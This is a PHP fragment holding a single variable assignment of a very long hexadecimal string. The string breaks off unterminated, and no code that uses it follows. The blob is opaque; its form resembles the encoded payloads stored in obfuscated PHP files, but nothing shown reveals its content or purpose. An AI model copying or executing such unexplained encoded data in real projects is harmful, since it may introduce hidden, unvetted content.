<?php
$data = "a4edc79bfdaf945c5220e0382632753388b216a982d685a09727c75b6fb16a759263743a101afb4e360d1983ebed16d534028dca004b457e1bd9e871d94b60d1320d36e62e7673974c794402871e825cb87598627b407c0576d430d818d9218cf35d2046c19600a94d195ad71544850370e23536b7fda0fa0a0428e8929918ac2115de5de42dfd509cb8f729d29fe28f15040977096c4ae00c29fba4d2c0a9f8e80aa16cc064208e6eba5656a55734181d497f0cb65cebfd9bbf53e43e197efcecf49251e8e5062fb826a559b7261d4a293c81debbd7dfe4313f47db0a68f6f3af16fc928601bab6c50595834cdbaaaddaf80cfded8fcc7dd7025e7203b36b7f76349802189d405869d4c467819b4996f9b27e1d79e5b999b2f165f1711cd700d166cf5e3475b529f38ee53789a075931b23e0d229e13b2356c515f258b602384493dd7de6833a31599287dc0d8636be00a57b293638d2a3de7cbf1caab341ee89e61eab25811f676d31b68ce993de069ed12a101597bf0107a6ec6c2f85cb94031aa75101b16f4fd200fd006681ac807e6856addc23f5cec73e066c5639a39ca1f22c488c2dd17a3e9e06954c46fd22c2cb529b75ea679c665a662f63665776dd962e84f7b07e52131b9574f1d0e02a96f6de18a9c2e3693a0fc3490d4ec87c9701e8dfe6c8ce0bc3351ec35facf7398cc1e791b9f506db20945533f5d046f142f3dec84ea7bf01125f2dee43c03cfc4e3d0130b74f3145cdb069d93a797af1fb78a60f4b79df7e4bea775b1d3b36ed59522a08334be500da07c0f60029ea2b93e82f5cccd7d0360b0634b181be94968d3ff007d046655bdcc6777f42fc918f955851f8ea916fd4420d3c2226a5b5d22815b2be049100043abd4cca56012149201957870ec749c6acb540c4663386da54ce1e3abb5be9889febf83d6eac6c3e3ded53aaacc1faa1244b969f4227c7b2486c081af0a3a22a4cebb341d39e7478dc88f233b128886242f96dc11070657d03a8a906c7aa8d907f91e3ede910dc96c11fc8005a9742abb9f9009edadc11f547b0ead3aec6aa6e040382734904c8e8715131da73456dad18bf4799d18066628c99023c09b58be75f1c0f7039e7e6641f1972e99eeb4d394e3e7016620a8f8167ede61d09419bdaf92927a01dadbffd50f821090e9f26c86a3a8bc277ddf116f7e7589bb2f45b537b70fb18157724c2eb3702e6571eb13c7aa7b04cbd3c3082590ae27f9f57df461051f59b24bcbab1a704f1a2c79486ed5f1761e950cf889cf817849243cfbda76da3992619af5af90848c5a51f605a09cdc39271c0d74248384c16b058dcc1f5aa62d5601159feee2af89bb5e0c6c70d50b71f96e053a7ab090002935b61a91f6a5da5913562ea586208177b16b12cda2bb7b54129b881acdc41278223a99ef0f9f8d09a9e539186a0ce85c15fcb8a9690e102d1ce57c7cfd6b0ff46a22e84768743bb529acf6557db05f3918e0af32e69f14215adc6ef85d5cf2b44feb4d709563e7a0fd90dc92aea932fd8de71715d2959a9422779f459b95010ca34a8f374332f3bd26357cca19f9417505256bfdc84402a3abd99d1d97bd66ff890bbf7ac3330f7e49e2ba6b8d1a05de9a777a1b7f1f61a4dea316aae98141247871521e86a796cf6fb7fd34d93591a7815a47af251d151f1e7a8f16025349e5f3a125618b479fbb694ab57078573202825febb971c99dd6eb7c7993731f5dae4213ec124fe540bf183a4945cc6ff2e76bcf06e4181ec7a28c65cd5ebd006a645df528f39d517d1101ddcf0971fdc11a122073a6b1d771a219518433f7cca0bc2237a3139037b050ca617de151010c86e3545d0300cd88f6affd2ebe20406ff6c26798f4223883d9204e1172c2fb008f2f16b09d1831dc73e2e1eefef0f1298cb1dd8ad50621c93a8bc4899d400f20d31fe0e550fbc0e3bf5cea02e84214502f0ef85d093824a32c954e7f4fc136496e624f712a1028e94dee906c13d630abc87a6081449143d6a8a5cb2d049722a44bd7d01d113fcc8f3ff1bfd190630b1bb813b5b0afdd6b9594776cbb16e79d6b1bc16cd67bdc09ee16d7597d74a3b279cbf9d2d4f314c6e7f5d169a8cb9d1cb264b8004395a85172570680f819cf2dd7c9a91b5dc997f22597072d8fa82e5999a70e1d45d2c2d81a76f75b72a686b0320ddf92836bb2729ab3499e4a5093a7a1c9228c1c035a8541cb82714af6aeb94009e56ca543bce0c3577dbfd6d2aa97d054b7cef17786275c6a86759e560fdc8dafbb9211376510bf553c1ee89d17b91de47f4342e7ec2705529284f1ebb62c01529555f69ff64ab03573dbe8c8e3c83e09d43f20498731dbf01d94182a614fd8772002eb76f82978f81463ec553d32035ffa5fcdcf9de34b9286611e938d0f56458fac313ee78be142264f4b0149e6e392fe765c39d38c7123d00bf710185a1aa7af7a7db2940f3cfbf27f772063bc42d5858e4d93c1456c6e96c35e2abd2a8e654b43d0c90e5ae30fd1955c778d2a1c0104e170e501332847fad442975f10119e2d75c4d1e6d5cc107f592f347c7f9ec8a17c20dee4ab5875615d6c165defabe4f1990ad6a4a361bd3f0e527819e8408c1b6ef354830b398726f5dc7fa6c45050b6327bdcb1afc613c261de91eebd6f6837bde086abddcb728622fb7f7433b21730c5b25d7b358efc1363b470f83691bbc47b03fc8921f51041af3a51b357e37d4649a93ab6dcf2aaf3c77adabbe77e5bc29d391b3604a02574ecc638e2bba4e9aee4056688fcf6a17636e611453dc0cbf8c51649ffeef8ab0e01032eeeb1f29dec3ba893e90933601685ebc16a94d7e78115830167449dddabf512c0d10b574d964c541ac77088b2d0d29c7d7f4705fb5e6f4f06438c3f9dd96622350e5d025016a44d68acead847d093277f32113d702adf4e1d17f6900a98e31b271dd12573d96f80bb251aae55b351f8a87f4940a2d7e59cdc877a3747d93959fa0ad0e1e60611760ca01b373daa1d7738df6b97d86500b57fd3f126d119c79317848a519b4388b819a85bc5ae425eb2f6f0a2f391f1912aafe9d0e944f8ad8854f79fa123e13ed77e3768c0246e17b9babdd00de53b231a0b49036348ea1766fa08a3c3fee935a8309fee0e72cccfa42b342761337eca675b01d1869f50b32edf41f0a699a23199d4f7a2aa11e5161893954d2971cf9dad6d6a06adf5a4d9c7b707b28d56b26b6e086268f08ec5d8909fef1bdd6c2c5c0219f0b960dca376a2434a094fa1d402009e44ee381868db1f74280f65f2e9fc8113165f7294bc55fc86de751bca3320589e393c8ec49ea180748717e200abd0de1ae6d9a582878229bf812387cb03bd140988f82c7135c36041128675c6cd80102841fc37021cb6538245e20b0519953ecaf3311234cdd46fc69725a781aabc24350f73159a42fdd0a83e62eb5e3eccdb468cdfd17084cbb6a86fc569c21ac4d7e66ffbbd9aba4e714687e53aa0d4964dcca08952b5743277f9b8ebbe8ee55a72925999c6cbd7acdd0c8651d34d3af8996b8f108bac83117cff5d63dcc130027ca56207aa2e959ad79800759cabd27f324c23d1ca7f35ac8222f9ce0a10ac2632905e5c3ee3775a4d17e341b24de6f0d5667bcf712dee6e207d29d3c925546c21e0b59b095fb222d7c019941560c70df5208527183c2834694a495b928d77841d18dbde0ad59d62bbfdfc76546e5e4f077537299839a3883cf1d5841c3eef5d9af53a063e512243492e8d2efcbb930a4b500dc2e091aa8204e4a05c82d24ffcb3ee4fdea6459a4ba0fbae22847ce903098bd9e52d6658580e5f3e7fdce4ba736d59c573a4137d7eeb43b1f44d08fe3d6131deea9a826bee99af18be469e8c18a89e170f8b13ad15aa1a9cf189c3e95c36a71c7c8025304fb22553132f22a12130a28d8d878645b046b7fd7d279090c92ca8204867c3cb2696fb3bfe56d20c733c1ef5c410c23883b1e55f96fe3b7c17bf295e013c1385c680f43e557c67503c7abbdb0baa4197a58df7c039ea582b70d74986aefc4ad6699be489842ccf943f84ba168d0177017257fb5380bb0490857d70f6a09ab9964d45f11fd6591e44b1412086824867a524dcf6f3026d017078dc3c0e31f8c3f28862bc50a67912cdb8f84d9e030a152a0e3a7d2e4dff0038392304a8798788dabb19fb39cc16e330e4da2f8a2dc9342f1fa9ba42fa47d04dbac850c18d3757899aeca1e2d3990241b2fb3e7670a8df41adf53ff30d031226f3c3194dacb4b45bd8a35ede3a07d686d18e03ac8953237904b9f0ea4d0ec65896b1f92d15b0c6c15e3046b32183a7c0d76288d325e29acdeca832337173aea9189f6152673ffefbc0cf64435c6d65c249e57d65c9c6766917873a8356e78f0bd44599de7a1201e05652506ecee7246e0afc655c46f0ecf28ef08633e3f1a2b11e8b4a9509b932786cb990c5b8a5f4b3ca9d57d4e7559102658f8d727b4c33b6d43381573fb3279af6d95845c2eadea785272dedb15ae4ecf4217094bef25ef5cb4b2b3045a2729a91b30e5326dd7e7acdae41d3e5175d8a0757bd0284fc9dd9520cdaf64b436e2a3f49506db614ab9331509385d0b6b61a4ea8538dfd446f354fec4783b3f6e7380f0692378a9011a5989bb27fd5ee307336d3e179bf188579b99e770b70bea44811ddae754c9bc620999cc50b0420f878377ecf92ad47015525df53ac7cfe4f50fbdfe525f0d8e840adfd32dced232e170ed62f565f7ad91b186cdd84d63c169c116483463d81e0406d900ac9d94bb3172c0a9ad5c01b1c1ea62abf7e8c6da08d9f430ea91602f82f46d3bdc70f768f35e5b1b8c1e038dbdb3b6ea806bdb7aa1e2aa2460ffa39713766c714d2457aa0c3638ce38f6653ffe5baf76221503fdc2d5401773b1174b4d30b3519d3eb763cba23950be5ed6c6df92a9f0ac4c9b2c1796fe622b46478738be8429676d2815c15d9d197b9c37612ca2867cc19c927676711893a763206f3a75f343fd2722bd04f0a215ec0f676783e4bad164cabc7da980b90c41f33e52b7ef60e909f38ed6378742ccd09dcef0092c54c119a2ecf705badf4527ecf0a67c55ed09df652c5ba11502f889e6c79a8a7144c9bb435e3749960c884e0c1e0188500cd1d5292ba74c3464dbac042dd344bb63f5eedd2bbdab3257ab39c50c24e17293881beb95073a235e6f70ad272b4ee1760fe01618e012dc38899120e82f45e8381e02087846448f3cf70f73ee79af695a15ca886c22dbcaa9e0f950273762dd06874277786c90c82d6ea876992435bfc3da45dcc7f9f0b3a6e3b9f19e8d9199c779fac1684c31e7404feb53a82f2751e0fd1f1d78184799647e5718445de5026e599c532f1c64bb89754f8a74c09576bff90a035578cf04d40e792b79ef7ccc4b397921a2d819c0e5d869efd98b175b2adf78019c22abf55f8643cd63d83b6365d10830218c51b025997e99dd3a5bc5ed52448a2a3ec43680f8f394ca4b0b41a9c5449c8f98a94dad2f35ef6902989349a24d9399752057c8e05a26591adffbbb6039add4d1d2aa2348877fbdf24f3cd2d9201a956ef68431f46ef73c6f8a6c8b9c6e9367eb2f153573c0d25f407da16e0506b2b0fc8cf31d7a866c1c5e39d316d110475f0ec64e3e98917d59aa7add804897b9fb9debcc3222ee4f1449ccf43fc628960f16dea737fcd1ee782e53efac58e27a884c7a56b780ba782fdab12910606f800afb898c1e87d88325b5a87f5d33bdfbcdea1ddbd65112b6eedde354ba3a081e09fad1f413375021d5d55a0d340830be6e9bcee9cca71e41b5d4294537635feb696740c5ac5164d8ca26174640c5178b2c363015dfdf401b8a5875660d48ed84153ad35260bc39c0ec5bbd0bd32566402d78221c8c9ebd52efb796a9d52dbfb89f6a0a1caf765f57c74bdd7b4f69d3674536746a39ffe59ba9bfc935fcf0d3a95bc9930a9212aa75495e11bcf2ed4792c77d1bea0c40595bca56930c396c798c96e7be4f5b927d28ca394261386d264fa18dded33c67a8f23a939ea98ace66a2820537add99858bc8c7e4e2445f70f2f436dbc0f05bc9de102c7d3eaaba8a9a28c6294991ec34d3bf8fcf4c7e03422a4aa76e0cac71a50a100db37be8e2295744a5dcd9ff6b44d1c60d489e9e7b52402449b33c2fbcc7bf82162588d20635cb8e9a0640208f136f59b288eaf03993143a478a31bdfa25d401220545247416cd0f2a6c68ad66cf84bf996b923e4eb634850b2bef6d96dd86fa05f27634aae6f48b7d5d546b40e080fc20d6b3d039cd5c617ae29e002c6a881ef11c3eba63536d0fd17b6783598708afb93f79c59a4b3fba0b743b63b82825412f912c1f47443b419cd84221d8709c568626d39dedc8dc152c00bf54ee0cc1ff35b362c07c650e5c72a75a5b5c92290741f84cdb01295976838fa263e3392f8ec802f2d696d474c22d551bffdf7a696546e66e02f797cb13d7169090378c031cc3d20a4aa5f5ea0dac80d8700da27465627c3167030cc3bd8180bbb6d973868276ca12b0938481755293b66f4e0580af4ea0c22e1ebd7b0fafd6f7f7ec4b5cae4364645c552c1e91342f656fe4cc3c52b15a444905986aae06d9766ee0de635135a279e330af6b7a48edb32927f286ccdf2b4912b5106cf6e14e20461862d799b47e3fa53b1675ed465bfe74e258fb6baeee78cdb67217556288aa19da03a04c930013b586ec58fd4548de27c9d0fac72ee4d74c7677137a8993743100e088f495e84db26617139e50cee8fbc9472f84b6589cb07e221fa1a34b4f60e53792d60756502c6a438739936db217598f0aac211713ee04165ed3b1ffa80afc4797cda379ac88c49b3639591c5140f8b6ee33050ec1a8c924ebf7edb0df2d564729f2ca0362b4b847f3e2a1d165e666f69fa8352df91cbf3ce0d0059fc145fe99754fcb63ac117537b4f6a0cc8661b23dc0b4d18b6e6ddcb4b45bc4e2c9399020dba59df0e710c3cd06a73fdda83c86015c6ee3d113b841b46c7c32a2413639d6c3a6cd683aa25df6dbb45940b67d1c9ae093b60b4b236197da0994676252cdd4eef97ca627b813961294dcb7947698cacff269133e7bea6e66dd7d507a6a9410527a32bc2b15aa5aab93f50cf449e209dd4ee75b01fd2add03ed9d28462b8722cdf2daba62e10a9e0208a5917a182dc71e1e208a010e6e21ed710fdc4c7ff2e42dbea0236e9135bf8b1cfa0bb842c6fd9c2f39bf5ebb6fccceceb06554ef6f9e9d36f4404d9a51d10fa5d1102c20d9abb5a97badd57a595848aa9b5c50b496f2dc686159e44a0f789f0c557da5c7816acb9cd3bf95d25bb4ff84c5cd14f9d28f59ef7ab40032a3463fa238930af98a61240929416dd205ca612a974129cc2d181804087b5616ebe8b9cf5c52ecaf805ee1a3aecd827a84e276f6e729c422f48b11613245cc27e6f7a36a315e18e48d0c52a7c9fa91881a3859adc50d2709e69dc5b9e92d389dee99646d9a680d25b022b769759237c314daa1f3f6762f158f09de6b8b85b4ed8bfd3227f211c080f523462e40660cac7cc33d7717e2db89e89d0ab1deb4a031b3fc02417a47a9b52e79c1a01d7a3071dc0101b04c0808193fa09e93b898d8a84675a2487dd05e8f4e7ab62417ccadf5c29d9221106af0d5f465708a3f9728ac38f8d60409c86fd0341ed4335ac2893b86c7eee9fab61a3212879fe63350820f0863f43fd73af7ed32801c8118afde9312ade2f38def2bd934032952f827a5eb112c41c333eff63bd7ebee1de39eac0b1fede50e13458b9fc96b2523d0b5808cb18f422688c3a3385775d607ad6438606fe962476e71ba548275294dffba56ea738e9f9e080ddd81abf5d3ddc23afcbeea1232c7fdd8e612e20522f667565cbd39d88b9200738c5c267b6b68d61ec8e05ab802a9dc8663b538f05b7256b63882488d77158b1d27e7ecf9bdaa45c282c677581c687b67860ca134cfa5b56425bcc180e41782dc5fcbf0d97fe80c7480125a1756c23bdc203482e17766ea01c7c30349da1b931ccd3d40dddad9ac714fed30f653a58e73621e6634e6297801bd8711b1db1897a3f5cd791d7d034e8317c82db00819672eb46cca3983d533984a105af4d3a70d2edc979d00685e90962f547205f22874849755ac37c4c1eef06d69d9c911192084428fbc4d78e0ff8920cefcb4ac23aa45c9201c7e79cd05d2c4923ef0acac864ba5e85720a425471c14d8dd443efec3a090838219759755fa03dfbc006be611e82d29d2a050c241d2cf912535e55c62c4d3887c994f0fa5056cbd74923dce1adcdff3486569574d8d98befef3b8038b5fcffec814e4d84e8e7de326e94631be97dcd0c6ef61071fdc81b6f1772438383f60888f7690a5199d93560fe5554c4fca032772345b42d16f714f6f17c34f28c878d618874f9281c18511687b5fa6ba32593e2305d3529c141c8e96f8e3466dc554661ba5c3023fdb681bf7a02678e039410cd45566329bec674628fd5e4dc346cbe934b5176b739ed9f9fa68eb118d0749ee6001015af21fcef85a46cb27c997bb3c70935ce2b7584fc54cf1a68f3dff5b2100a8443aa2d9dea89192b251916d3ffc1753d765e0199c2f7e5603842caca82ec4e5866f1d9b184358a9f3aeead2cb06d1addf948fc7cb53d242971164ec40c8f5aad5b0c990ba46d21d5b288c333dd9c74767dddc58ef1e39a3f5f17c08ebd4f149e6fe29610add09ced6e7ce328d7e5f30b37ba7319ac12d21aeaa65ab7d679816d9eb58574de81e2d0101d18b2a840f6d614f91f0337f6534b807b315e915aca59c35c66458c6f499a54902c1ee008497ec181a144b2cd94e779a3da9231dbd0a20d83c9f3caec6b236af98f0315e089e612410f8bbabe1c8ee3240535fa3cc3fe967748e82391248b4b8b01f318804b426062fc79135fd77e491a996c5f557e0406d9ed85f5e111afa73a113cb3175869c5d7364c342c9cc012a159d70ff2923313e7b743fae638e856c33b58078fcc0170ab414e378f0de319bae776af7a714c9cc19aa453fc18d879f9fd2f961e0183ee48edff814edef97362af6bcc4d315995a77d9772e27ec74c723c2ccb248828a9867bd74372c61aa6355f843cc0ca52049c37f7f3cb15f16d485c603d27c24c15ebc83ab190653a4b5e555a2de8244243bbeb82f82f7744281edcae1c05eae9e06c0eae9c002663442e5a0d69942030e58cb9c442bdbf43858c1255246799c97ec33c8eea1a29266b740bf27bf6a482465974db40c9b71ae42778491d8deb9cef474cb36de40e3a5ea9c58ebff3491c251a1c75ee96fd29ee14a187cfa3bca5afe9b3f3071e5ff6d3d138754169b2188d4a7a6891b7b1bfb7cb113745d2732fbc2fe2c08b472d8b72500caba0617da5f8c3cc9b908da2ecc44778d0013116119cadf2448bcf3c09b440828572966c99dd273dc49de8fcb2e1b378ea36f27da6c75b3fb28bb180d023ba40c2051c9b3ed6cbd2f5005f608ef0e372ff6bc06eb220c54dcf5d4c706947766103913e7f539db09115d862a3afafc2bdfc450049c3bf9acc1d671cf207a02a04bc7cddf6547e92bd34d9f37e37671b4cf36583a8e29539a5d7c89a2bbe225c6dcaaeccd1cd6ec6226f04574393db5ef223b6e9871a9fb25f5234d860ebfa9618a73419387096f15ebdd08a37407eb8262cff6cbe8e5b74d1ea143db4322591b206a8159d02a04ba07382e6f71a74f55557e0b2d4b1ad4f06a6caff585747baf389c31e5b7c0639db31fe908de7ffb2e3fedd7ef7ed54eab89b2a0fc5e6c6ecdcf909ec2c9682b17203ec31e664a7a988671a21729407b1207117ae4340d5ea5b494baabb20402ccaac69ad5105d03d87e0fefa7634be46148bce77550be33e121ed3fe2c202bf3dc15a054a4e0216a6bdba791c8b65e89179dcd166c87abe43156121633313884daf235b306083c9a84cc451a7be7da09bcc584e3f2c455970eb7091dd2a2fd9e7c2518b0d9aebd9bae5edc08a08fe361900f839dc7f26d422b1da326c293318c47436823cdd82ff3f4dec679a6a92de642948280ef337d9d3b1447b014b94fb24fa71b2c38a5a8610698d2b165a757be51c0562fd7daf6b718f7ce44b9762d524fb6a699e1201749d1a0bf3eba991317040eb6db456592200d47f2f99327ada4767ada51c80a880bfdd865cc66f84e9234ef57352d1fd39341adf10aea67074e9fa02f4373af7fdf2d2e7fc495fae0799b05d59815f999fb5e890b6727a333efeb404fffdcaa360abac831ec3c3c6291b7cd6e049147befca114945261951deed93e1e9f91b5e91b92aacfbc103d6c2901fe0d5501be94a7640decbc424e9caefbf0590db06ce51d2c1c6c79706b45a84aaf5799eddfd7dcec53f492f05ee501c515d2de64e621ab5a25f790a239821657e5ea9332f8180a202d7b83962ced56d09ec590d420d737ca4bd2561d69c8a4c6b89ea21995e9376b161ba2deb977299f3c2376881c19b9eec457d0bbbde912f48b397263d86c7b3494cc8fa9d37991d194a283835b290aa5b5a50400410e7f62a3af9ac56b1c0f8db524feaef32e55c77b4e9b3e8d47b59bb55fe04734ecb0df5b2e76db28bc5967c52b3d52e2e37dd5ba69ce99fb5501c0498d52cca2065e966715dde98032d489efd4a05e3771186ec1838aecb79c4ff83d0d0b4072473b3f8b1fa4924bb18176e13d7b24fde9817c1b401eae8444aaf18992135464e020810ac8a832ecc09078773b1ffddccf84046b804ef859493191b0f9a40549769f3bad39c295013581dba581b624cd3685c31380a7fcd1367f4ba527bbbf90ed19a9139b983dcdf95182dc8201596fa6979a99a509b2ddcb41d490c57aef0a4094ebcb204c54bb194d888bf070fd05ec36189ca49cdc2d550e71b21563712470c9afa9e06257a33e273c9f3d026ca499141d44aaeb57d74d39f00a1a3c6504f93ae5fe1b0a4300121382e05c6029a8b6763cece8082c1fb1ecb5c4dd962794267ba265c6f5c7603ad2b292b99b2dc8fd7879e783f3d65714c8b9e1f06086542d990a7798876bc9f2f1343c83c9e11e9af3962291ef79afefd6c9a7710c7696398850c265ac849b0a55ca9d96a7b91bb2e824590ba5827f4c1c06eb20e6980f5e69db3860895b7ef971d8bfc5ccaa281382724cd206ffe710ca5f585a3219eb89c20d6160762c7cae5bbf089e0b59e1d8d212a758d2911f35cb96c7578719304351b11b672ceae47dc59022e289acbe8fc272cac5404d8fd05dc8a42cd22937291d92d099a4bfc0ad2102170d32eca83c49df2e8e6d81cb6a009dcf1b09514d4cc9782cc4ffe48e66b291178f5c9a2fa65c667aa68d416ea2ac6f40da4b50c681149c3f7c19fe3e2c04daac3494df39f2d3534d7db9a0285ba156ec48d82b6a8385c552883ea58619e3f85be581465c202c5d36ed859b0abec03dcfed88aad9cfce1dfc1e7516c88c85d56031f00bf8b422b447195f2b0efd406d0296863dcb50555714e99a83699a5cf8c7091406112b38e57753075a159baddef62d94ad734d52998b1bf74935ce6e09b17a2adbf373618a757f644f72298f3344bc1f74c59ad527b7428dfafe3a9474488c6b0a05f858893c7105dccd6dad0971505639ef90b6ee2e0a70263eeb5958b70519eac02d4b6b06aaab6efd8595d14d5ebc71c0fe0698d62fe02a5a149c128d1219df62693647c74a51274b23b9ae0357f583ec376f328b91eabd47745a27b2135b3a3676491d0f89d226ae8368355e342fc0720e0cf962698d5201bd942ad114515dc9d2b03b8e894b19bf0446cd0b72b1c09021b8d79b2615eba126aac2bfc12b1b1b1e55e80fc7a9c99ae1861068024f49dc33353e3de6467c56702638ac695fafd059165ae71986ad326ef75c1addd8eadf382e2cd5f28a017be202a900d10e0945380a9776019d3c29f403d90ddc7dc6238c34ca0f8dc97abb7f449302e40448232929769fdd3d62c6d27cb98b6144b9813fdadf699161050ad8f629a3ca4829ea75c114ea7f2438533dab00afad9e65a826e2737b5f5fb52783388e791f24debbae9570c4a5b44d5de46fc437ae58d2d453a93688cc04d6a3128e1e62ddfdf43181272e6b9b4e270899601f572747076841985903e2e061fefc81a0ea713ba22b6748b68114812d93cd053e4ed46c77b4db0ae06713b86f9a76c3baaac8e007a9b2e7df28dcf289559045a44cc35c50e032bb8a0d4fc32d47ed06f09edfb95eb98a37f4d9aebb9b10f6569a501b43714d95e1c38e68bdd8e261e147477796ecec28d79751d6bd80de15bfcb705eeb967c0e35545fce870230f5cd03cb1d5036b8ada8582cbe1131ffcfba06a4258cc9b34e7d8a9aac843c04f78deb29d52e4a87b9e80d8777be33809118b30f2ba2aa76b2886314da57572d56d30e8c2bd5434b15d9e74c015f418d2bca03b95bbc2eb02dd7b91f00e0bdae9f546d56746c3dcf2fe89252c78fd611a3c239171264248a9244d18a21aa80cb0bf774ecad6403132d4477259ecbe7f253cf7f1db82fe8d30f6c8a20cefa9afa9d715561392daad5ae6614b02d3b6d66b338af40c4a550d62031c76b40ed6f46acc849bf1184afc1cbb63910dc0190b9bf77e46af0ac2781d0fd6e71314173f20a9a5911736127ce1b40dc1e7d5dbe432adb751a4a46f728644acc4e74962b94bd47965039ffdb23e0da18e38b21c69b04fec6e1a02007d4f04094701ed34f8f0c0f34295d33ed1df67c4a3f29d08671e9e306c35eb4270f095676fa6e7a12df9b84edc35448af498b302e6f283adaad77af8af61d03db6652e8460d2f6423f4509761b590c0886759774ebf7d55d9752bed6bd43db584274f87539d387336a686d1fd9c7ce41a3c1dc18ea6a6aac28c9b82e9abf9fe979098a74902bef06e2bb0d9218ba628b0bd61b677f9c474efb78fad571ff97aa4deca96b5c7f28f73d51932a2b0cdb0e179ee3834976dead1e27aa8a81dc9707a01ce68f2d4d5f085c4707ffadb050b56f9ce4cb1522b7e40248acbd6c9d35fcbaa82725536acfd6fc82e54f87296769f02b9bb9f34f4a000ad9dfd4d75b9295d9de23a2ce9ab4cb802b69bb75b610f930a4a2c06a1f1eb9bab5d927bc355e34a8a55ec9254f14e4ffa8ba202aa73d9764347fc27848ba1d918bf64fa8eab0914cea4560bbd9d990cac5e9eea4d216fa508555b13f6e33b1eb8bc3571265835c0d20db0434899e790deb388a6040816f3084906541d157bc715db582a5747e85a308d72b2b7286d65db27f62943939b4fbdbb66b44c155579348b202b5755dac5a66065d19e053ae10699741b2bfc1e1f42a259b53d3697f22d098707b89126a329f787f57c1f7683932695e7b78e903dc483a85442ac99a26a508c7ad691b83487e4a728d8e62c8e61a9e78f15b57bb4af2ac5b7630678e78c03e1f9e4dbcd0cb056649c4d33cb060e60c6b3677477b215345825ca74627eb43dd56a2565c6fbb418a487992abe03afec97b98e64633041bedc9a39d0bfa01d947060b5f54b6a4d74313456ddce5203efbda70fcb7b0116642543f6da2ff9bedbe64e4e3f11abb995cf374e7584068b6039cd8ae8aab48ff6bbcf29a67210216a3fdcda6595db77dae5c66ab0f5ebf3d91fb82b11900adcc7f7813954a8dc17fa54f5a26016de066abb5a1744e345becfa4f691cfeb1d2c7ff9074836cb7140e7745feaea106a0c354f26923bb23ad719b920d31c735442971d62f7e5b14e7603add5546d569a60f430ae15d051544d34109bb5ed6ec309d68082cb728e398249dc09fc3af982a5c2149def1e9837074e18701262bc61d90130a03399090a0e60322ffdb76f83efdbeefe3cd380aecc483af7ecdd84c63cbb2ff8a3d4cdc77f6f06274b9b64b222753a9ae28e15d998ebdc4927c02bde190ec1f682e0e328f61df6f00867a6a1ce635c2b08b7805d026616239b6932376141fa6c94725d1ea6b93cbf2db10e1ea3a29b77fef4d020cd3e2d063a4c1ded45c63daa76c07189aca52e1ac7fb5fed3b628b81cdbbd8bfce0dfba0a6f033b8577d7521d2db29fdb5bf4b020dc05fed9ab9fc24a143e577623fa781a7ce9b6dd38dd96360a5fa17af926dd29af8b928be426f43701fea65d909a553c69a7b81195b4914ec481d0a9febfd99f5d4364f6e89644cd8e3260f98f7cfe16fff368a14d6500eb59664409ecfa524520cc4c3280a1d679cd0bdf1bb1b1264c151b8c3f1b5f573d1aa70799830f3ab1d53fc25d956a76cfe03e411fd7f5aa3ce3ba78993d4c10ee4547fb0812cebbfec6694fc25c8a963b5894ebf154111c8b61139f22fafd7ba787ca2822dc89cab1f97dd0d5c630e3fc463d115d5fa0875205a3512a5bcd12f11f4b8ba4c8b331e9ee117efa6a9e9ef151eaf598cb800c4b9c4b4210c9e1fc8b6f25b3f195ca1b4bdfd4c17a8f3ffc63219f21e24bb25fc7ea151736c8aa407ab47409ec06fd1999f3ea8a6e77f4fbf3e1dad5c39169334b8fb1f4240b31ed91ac6ca47091c87a11cd4db61ee02cebc5934a6890c339a3267c58c709be2a28818f31b9708ba7bde6878c28541b425b574d2d1d6dd9d630d20e1ffd81e1f8c8e4e489f63bf748c69afbec4421ab261f6652b01c8a6828b467baf55f705aca7c0f67364d71a487a5e1a7f00fecbac5edbe8bfdbf7725a3036c70e7a91876aa79fead970252779e20aa54621a4c82e29606ad4c78373fe79a57f889e0d451b16ea37ba7f37b54a4fe038aa2d6e08a58c5acaedc01dba505228c8d67e84eb2b6ed21d6fa732557a3e38dbba2b6506ef6ce156f93958f3f0bad1507926b7116e2aba1856094a2bdce26dc52b3adf8f79328e2323afc3e1150f9553194d90ef64a3b9029a10155cca8b618fe9d1f55e6181aff595351afb7d1a532e210d22cedb7a32fed3d4ba81970a05b7881c8f69311cee77c2bc3fe9728fce5d0d64f9e8bc9f3c07f4d70751bc67a140a16fd5872340737560eac19f60cad2701752ddc610beb8b726d4bdd1daf1e58981627f5d132d782d9666e380742b4a2a28848350453d4dcec4277fc8bd4d6ea216089a57173151b346ceeefea895351c2b9ba1574a9e493420762025fdaf1d9ead6a64b6ccf431f58932672918d8be2267b9ae1081a40f315764ea78213b66b04131d6b9c4509a053537532b19981c13c789fa5cc728d1ad1cdecc20f80f4df813beaf2ae7ea15e55504e0838f26e1be907a8c78071eaba0340d852e4613a93531583cb01f39fe8506f2310a65c9a5e145b4aaa7cd2e31b151ac5c87c9f6fa07ea0f230c2c853a4323bfbd35932b149b768a46eb3606e3855092ffc43047de8a8647f03534992bff7f0b15e75c98cf422c78fc42ab0cb87daf3feaeb63715cab4755be98ca33aecefa9946f6721f50efb40a6a0a25b17f498a304813c4f87d36372dfa68f4b7fd2ca53cb2be3e65adacaf524b6bcc265144e29b4bfd810df274babf9ac509410c8b6ef6960842a1ff9bc93f3e6cc2eb24fbc18e94e494a97930764654f8dccdd45fbae583aab577966fe59c7370dddea3076658d8062bcbcd125204cfbc3c2403ea6c2451e740849bbe27915404f8c3d88043c0b1727e2108f1e2d038faf824d6f2d13b5f15552e7977ed678553c233464db4ad22b892bddd48eddc6d786baa5289479174898354ba72cf3c8f8c60d8ef511bd134dafd03a43a9531d019f8c57339212b499cb77ff8b0b1249f12f438198107354b3c50d149a6c5e0a23b91b12baba26b66b08a0302e8438e2cd16a60e0152f6087cc4674466bab8ceade3f2aa24f3fcb5db9da2ce5214a83d6e60aa8c1b87b59878d05b53af47678294208ea530f35aa569e941ee2e3538ab34b822896f2eb8ca99abf87ad4e3cb9ebdb94ade3fdff8c0913d3e228e8829339ba1be09b60745acd8bbfe7e2f89bdfafc25e55c59edd509cb22b9c59283b9fa96f8620bd5ed40018ec6efc546d7e8ac9765b6d55a5f5bb7d529f89c882c351dd4cfdfae3868323dde88f0dd470cb89149c010877982fdedadb399789f3a198050b447bb23cc21aae591fc65397cf76d10f3e4fba6d1a1cbcbab75696960a960741fcd10e40015a3e91fd7e897b2457adf8c2cc4dd8f6436eff54329a860532fd47be02ddb94f9827956c98a9814951e7bd78237dfefedb38b1395182b1bdf1fa1d24b0685beadf324c1df7160a6d67a571f9534ad41446dc9afa1be9bb1686ad51101cabe4c557be10dc49b97736632b9e1274b481987d5abf4286c0640b3faefca20f1d8b0b57c44e21e356d4a291223f81ef589d32c4248b431d708f0113e7a28ff3a3406f14d562a14e